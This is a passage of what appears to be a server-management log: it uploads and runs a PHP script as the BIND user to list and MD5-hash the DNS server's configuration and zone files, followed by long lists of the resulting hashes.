MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:08:55: Establishing a connection
2026-04-21 19:08:55: 

PUT: /tmp/pkp582871

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:08:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp582871; rm /tmp/pkp582871'

2026-04-21 19:08:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:08:57: Establishing a connection
2026-04-21 19:08:57: 

PUT: /tmp/pkp291014

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:08:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp291014; rm /tmp/pkp291014'

2026-04-21 19:08:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
